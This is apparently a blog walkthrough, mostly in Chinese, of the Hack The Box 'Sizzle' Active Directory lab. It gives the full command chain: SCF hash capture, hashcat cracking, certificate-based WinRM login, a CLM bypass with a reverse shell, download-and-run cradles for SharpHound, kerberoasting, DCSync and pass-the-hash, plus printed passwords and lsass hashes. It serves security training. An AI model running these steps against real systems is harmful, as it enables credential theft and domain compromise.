Zumpyx's Blog

Sizzle

Machines#169InsaneWindows
← Machines

Sizzle

Recon & Enum

export IP=10.10.10.103

Nmap

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2024-01-17T06:42:33+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2024-01-16T16:26:10
|_Not valid after:  2025-01-15T16:26:10
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2024-01-17T06:42:33+00:00; +1s from scanner time.
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
|   h2
|_  http/1.1
|_http-title: Site doesn't have a title (text/html).
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2024-01-17T06:42:33+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2024-01-16T16:26:10
|_Not valid after:  2025-01-15T16:26:10
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2024-01-17T06:42:33+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2024-01-16T16:26:10
|_Not valid after:  2025-01-15T16:26:10
3269/tcp  open  ssl/ldap
|_ssl-date: 2024-01-17T06:42:33+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2024-01-16T16:26:10
|_Not valid after:  2025-01-15T16:26:10
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2024-01-16T16:26:10
|_Not valid after:  2025-01-15T16:26:10
|_ssl-date: 2024-01-17T06:42:33+00:00; +1s from scanner time.
|_http-title: Not Found
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         Microsoft Windows RPC
49684/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49715/tcp open  msrpc         Microsoft Windows RPC
65280/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2016 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-01-17T06:41:57
|_  start_date: 2024-01-16T08:35:56

LdapSearch

ldapsearch -x -H "ldap://$IP" -s base namingContexts
---
dn:
namingContexts: DC=HTB,DC=LOCAL
namingContexts: CN=Configuration,DC=HTB,DC=LOCAL
namingContexts: CN=Schema,CN=Configuration,DC=HTB,DC=LOCAL
namingContexts: DC=DomainDnsZones,DC=HTB,DC=LOCAL
namingContexts: DC=ForestDnsZones,DC=HTB,DC=LOCAL

ldapsearch -x -H "ldap://$IP" -b "DC=HTB,DC=LOCAL"

CrackMapExec

  • crackmapexec smb $IP -u guest -p '' --shares

image-20240117155018396

Department Shares
  • crackmapexec smb $IP -u guest -p '' --rid-brute 10000

image-20240117155038002

Administrator
Guest
krbtgt
SIZZLE$
DnsAdmins
DnsUpdateProxy
amanda
mrlky
sizzler

Web

只有一个图片

  • 目录枚举

image-20240117165827104

没发现什么有用的东西

Shell as User - amanda

获取凭据

再次看到 Samba 服务，从名字来看 Department Shares 是个部门共享文件夹，很有可能各个员工会对文件进行操作，因此尝试钓鱼。

  • 挂载 Samba Share 到本地 mount -t cifs "//10.10.10.103/Department Shares" /mnt/smb

  • 文件结构

┌──(root㉿kali)-[/mnt/smb]
└─# tree
.
├── Accounting
├── Audit
├── Banking
│   └── Offshore
│       ├── Clients
│       ├── Data
│       ├── Dev
│       ├── Plans
│       └── Sites
├── CEO_protected
├── Devops
├── Finance
├── HR
│   ├── Benefits
│   ├── Corporate Events
│   ├── New Hire Documents
│   ├── Payroll
│   └── Policies
├── IT
├── Infosec
├── Infrastructure
├── Legal
├── M&A
├── Marketing
├── R&D
├── Sales
├── Security
├── Tax
│   ├── 2010
│   ├── 2011
│   ├── 2012
│   ├── 2013
│   ├── 2014
│   ├── 2015
│   ├── 2016
│   ├── 2017
│   └── 2018
├── Users
│   ├── Public
│   │   └── users
│   ├── amanda
│   ├── amanda_adm
│   ├── bill
│   ├── bob
│   ├── chris
│   ├── henry
│   ├── joe
│   ├── jose
│   ├── lkys37en
│   ├── morgan
│   └── mrb3n
└── ZZ_ARCHIVE
    ├── AddComplete.pptx
    ├── AddMerge.ram
    ├── ConfirmUnprotect.doc
    ├── ConvertFromInvoke.mov
    ├── ConvertJoin.docx
    ├── CopyPublish.ogg
    ├── DebugMove.mpg
    ├── DebugSelect.mpg
    ├── DebugUse.pptx
    ├── DisconnectApprove.ogg
    ├── DisconnectDebug.mpeg2
    ├── EditCompress.xls
    ├── EditMount.doc
    ├── EditSuspend.mp3
    ├── EnableAdd.pptx
    ├── EnablePing.mov
    ├── EnableSend.ppt
    ├── EnterMerge.mpeg
    ├── ExitEnter.mpg
    ├── ExportEdit.ogg
    ├── GetOptimize.pdf
    ├── GroupSend.rm
    ├── HideExpand.rm
    ├── InstallWait.pptx
    ├── JoinEnable.ram
    ├── LimitInstall.doc
    ├── LimitStep.ppt
    ├── MergeBlock.mp3
    ├── MountClear.mpeg2
    ├── MoveUninstall.docx
    ├── NewInitialize.doc
    ├── OutConnect.mpeg2
    ├── PingGet.dot
    ├── ReceiveInvoke.mpeg2
    ├── RemoveEnter.mpeg3
    ├── RemoveRestart.mpeg
    ├── RequestJoin.mpeg2
    ├── RequestOpen.ogg
    ├── ResetCompare.avi
    ├── ResetUninstall.mpeg
    ├── ResumeCompare.doc
    ├── SelectPop.ogg
    ├── SuspendWatch.mp4
    ├── SwitchConvertFrom.mpg
    ├── UndoPing.rm
    ├── UninstallExpand.mp3
    ├── UnpublishSplit.ppt
    ├── UnregisterPing.pptx
    ├── UpdateRead.mpeg
    ├── WaitRevoke.pptx
    └── WriteUninstall.mp3

52 directories, 52 files
  • 新发现了一些用户

image-20240117170739266

  • 在 ZZ_ARCHIVE 目录发现很多奇怪的文件

image-20240117170950467

image-20240117171015122

image-20240117171102723

  • 参考这些文件的扩展名，创建一些 Reverse Shell 试一下

image-20240117171313434

image-20240117171403275

  • 但是并没有收到 Reverse Shell

image-20240117171529738

  • 再次查看，这些文件似乎被删除了，或者被移走了

image-20240117171559560

  • 这里想到 scf 文件，当打开 Windows 资源管理器时，会自动执行 scf 文件内部的命令，可以用来抓取 Hash
[Shell]
Command=2
IconFile=\\10.10.16.18\good.ico
[Taskbar]
Command=ToggleDesktop
  • 等待文件被删除或移动，最终发现在 Users\Public\ 目录下的 scf 文件会被加载

image-20240117183236190

  • Hashcat
hashcat -m 5600 hash.list /usr/share/wordlists/rockyou.txt
---
AMANDA::HTB:435b6869c0c9c39b:0df7710f7a8025de72c2cd86601b85aa:010100000000000000d991387349da014f969a8839060e0900000000020008004f00460049004c0001001e00570049004e002d004f00350034005500440035004300570045005000450004003400570049004e002d004f0035003400550044003500430057004500500045002e004f00460049004c002e004c004f00430041004c00030014004f00460049004c002e004c004f00430041004c00050014004f00460049004c002e004c004f00430041004c000700080000d991387349da0106000400020000000800300030000000000000000100000000200000dafb26a7ca41bc216510f28bf1ffedda164c92afa5b7470d176278593e4d22f30a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e0031003800000000000000000000000000:Ashare1972
  • 密码喷射

image-20240117185641749

但是都无法连接 winrm

image-20240117185657670

信息收集

  • 遛狗，发现此用户时证书服务账号

image-20240118090905703

也可以远程登录，判断登录需要证书

image-20240118090944598

  • amanda 可以访问更多的共享目录

image-20240117185834484

  • 在 CertEnroll 发现了一些证书

image-20240118084343103

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates#request-certificates

发现一些 Web 路径

image-20240118084821294

  • 发现 CertSrv 目录需要认证

image-20240118084908896

  • amanda/Ashare1972 认证成功

image-20240118085306058

申请域证书

  • 首先本地生成一个证书
# 创建私钥，需要 4 位以上的密码
openssl genrsa -des3 -out amanda.key 2048
# 用私钥生成一个证书签名请求的 csr 文件
openssl req -new -key amanda.key -out amanda.csr
ls -la amanda.*

提交 amanda.csr 文件申请证书

image-20240118092553875

  • 下载 Base64 编码的证书

image-20240118092723123

image-20240118092753043

  • 尝试远程登录，添加证书、私钥， 登录成功

image-20240118092953801

  • 准备跑 winPEAS 和 再次遛狗，发现目前 Shell 受限制

image-20240118093709322

$executioncontext.sessionstate.languagemode

image-20240118093903132

Shell as User - mrlky

  • 使用 PSByPassCLM 突破

https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs#bypass-1

https://github.com/padovah4ck/PSByPassCLM

  • 下载作者编译的 exe

https://github.com/padovah4ck/PSByPassCLM/raw/master/PSBypassCLM/PSBypassCLM/bin/x64/Debug/PsBypassCLM.exe

wget http://10.10.16.18/PsBypassCLM.exe -O PsBypassCLM.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U /revshell=true /rhost=10.10.16.18 /rport=2233 PsBypassCLM.exe

image-20240118135658527

成功绕过 CLM

  • 再次尝试遛狗
IEX(New-Object Net.Webclient).downloadstring("http://10.10.16.18/SharpHound.ps1")
Invoke-BloodHound -CollectionMethod All
# 复制到本机的 Samba Share 目录
cp C:\users\amanda\Documents\20240118010043_BloodHound.zip "C:\Department Shares\Users\Public\20240118010043_BloodHound.zip"
  • 另外在机器内发现 88 端口开放

image-20240118141709536

  • 上传 Rubeus 利用 kerberoast，也可以端口映射，本地使用 impacket 利用
# 必须在 C:\Windows\Temp 目录
wget http://10.10.16.18/Rubeus.exe -O c:\Windows\Temp\Rubeus.exe
./Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972

image-20240118151713591

  • hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt 得到凭据 mrlky/Football#7

喷射密码（两个密码都正确的账号可以忽略）

image-20240118152719308

  • 没有发现新的 Samba Share 目录

image-20240118155541030

  • 同样的过程创建 mrlky 的证书
openssl genrsa -out mrlky.key 2048				# 生成无加密私钥
openssl req -new -key mrlky.key -out mrlky.csr	# 生成签名请求
  • 登录 Winrm evil-winrm -i $IP -u mrlky -p 'Football#7' -c mrlky.cer -k mrlky.key -S

image-20240118153814495

image-20240118153951698

  • 环境也不是很健康，同样的方法绕过 CLM

image-20240118154448735

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U /revshell=true /rhost=10.10.16.18 /rport=2233 PsBypassCLM.exe
  • 遛一下狗
IEX(New-Object Net.Webclient).downloadstring("http://10.10.16.18/SharpHound.ps1")
Invoke-BloodHound -CollectionMethod All
# 复制到本机的 Samba Share 目录
cp C:\Users\mrlky.HTB\Documents\20240118024954_BloodHound.zip "C:\Department Shares\Users\Public\20240118024954_BloodHound.zip"

shell as root

  • 发现 DCSync 权限

image-20240118155854020

  • Dump Hash impacket-secretsdump htb.local/mrlky:"Football#7"@$IP

image-20240118160129841

  • 登录 Administrator impacket-psexec htb.local/Administrator@$IP -hashes 'aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267'

image-20240118160624990

Dump Hash

lsassy HTB.LOCAL -u Administrator -H 'f6b7160bfc91823792e0ac3a162c9267' -dc-ip $IP -v
---
[*] HTB.LOCAL SMB session opened
[+] HTB.LOCAL Authentication successful
[*] HTB.LOCAL Dumping via lsassy.dumpmethod.comsvcs
[*] HTB.LOCAL Trying smb method
[*] HTB.LOCAL Executing using lsassy.exec.smb
[*] HTB.LOCAL /Windows/Temp//7nYHjX.png handle acquired
[+] HTB.LOCAL Lsass dumped in C:\Windows\Temp\7nYHjX.png (149027262 Bytes)
[+] HTB.LOCAL Lsass dump deleted
[+] HTB.LOCAL HTB\amanda         [NT] 7d0516ea4b6ed084f3fdf71c47d9beb3 | [SHA1] 66d1e951d372209e6cad25f000fcd0312c85c4ea
[+] HTB.LOCAL HTB\SIZZLE$        [NT] c76bc1642b745165267bf22d9edac0d5 | [SHA1] 21bd4823a3537c4c37092a7b949863706032c1bf
[+] HTB.LOCAL HTB.LOCAL\SIZZLE$  [PWD] d090fb614208d02940caae37b41dc3acf6ad6c6277a3c1a8c38771f3edf8b1e119176aa4f0fd60668e3ee3395666617d3fe9f930d090d3dc1c54ceec6817a0739e036a83f7ecd1f0a1a27c067838fa3b976074a10ff87fbd1fff158a7625bfabfab4b221d32680c278aa7fb6ceaaf25d0a1554eb11f131e1a9da797d6f23d3ecafad404ae54ac3995a5543cbd1178283bdedf53958a260e9dd04c362039f89da205c0748e68942e466855437048b369995121ae23341c4bee6333cf122ae854f848a088cf24d3a906cff27e9c4f5324088a0cb8632558d868edd098280c765891a1d8a44a2d17393b335edcdae657dfd
[+] HTB.LOCAL HTB\SIZZLE$        [NT] 512129f37dd545e3abac3b20133fcf42 | [SHA1] e6a0befa1a663db193b9a7ccdc0f2ff420f87186
[+] HTB.LOCAL HTB.LOCAL\SIZZLE$  [PWD] 943bc7c9c31e2c0ba2954a15e989ab2e3287e6e51e09b15ce923f913e6efa8bd9350364356bf5d267e734bb14e4a4badbc1d45999eb91ef3f2adbe76f4821434f30e46405183f5b2aee9d6a51d2fc543951ab6b5fca1e5ba9f8cf97ec973c60e19768baaeb0ddb16269eb7c456659dc92415fefa7423830306fb301d5d867b8bb1214177b531c631d203fae4176cd16c645444fc701265b47cf69ea0a87feb4b0c459bb82686f6a368e56ff3c94721b947b9ac23ffb85f8223dc8c3c2158dcc6ddc5a92dbb1e35738017a328fc455264718c154fa4056c41b6066ad0f21fe5bd2289586c3ac7563e3de63a3735cb290d
[+] HTB.LOCAL HTB.LOCAL\amanda   [TGT] Domain: HTB.LOCAL - End time: 2024-01-18 09:36 (TGT_HTB.LOCAL_amanda_krbtgt_HTB.LOCAL_50ec6be6.kirbi)
[+] HTB.LOCAL HTB.LOCAL\SIZZLE$  [TGT] Domain: HTB.LOCAL - End time: 2024-01-18 09:37 (TGT_HTB.LOCAL_SIZZLE$_krbtgt_HTB.LOCAL_95ef3405.kirbi)
[+] HTB.LOCAL HTB.LOCAL\SIZZLE$  [TGT] Domain: HTB.LOCAL - End time: 2024-01-18 08:37 (TGT_HTB.LOCAL_SIZZLE$_krbtgt_HTB.LOCAL_30789646.kirbi)
[+] HTB.LOCAL HTB.LOCAL\SIZZLE$  [TGT] Domain: HTB.LOCAL - End time: 2024-01-18 08:37 (TGT_HTB.LOCAL_SIZZLE$_krbtgt_HTB.LOCAL_0db93974.kirbi)
[+] HTB.LOCAL HTB.LOCAL\SIZZLE$  [TGT] Domain: HTB.LOCAL - End time: 2024-01-18 08:37 (TGT_HTB.LOCAL_SIZZLE$_krbtgt_HTB.LOCAL_2686efc4.kirbi)
[+] HTB.LOCAL 28 Kerberos tickets written to /home/kali/.config/lsassy/tickets
[+] HTB.LOCAL 11 masterkeys saved to /home/kali/.config/lsassy/masterkeys.txt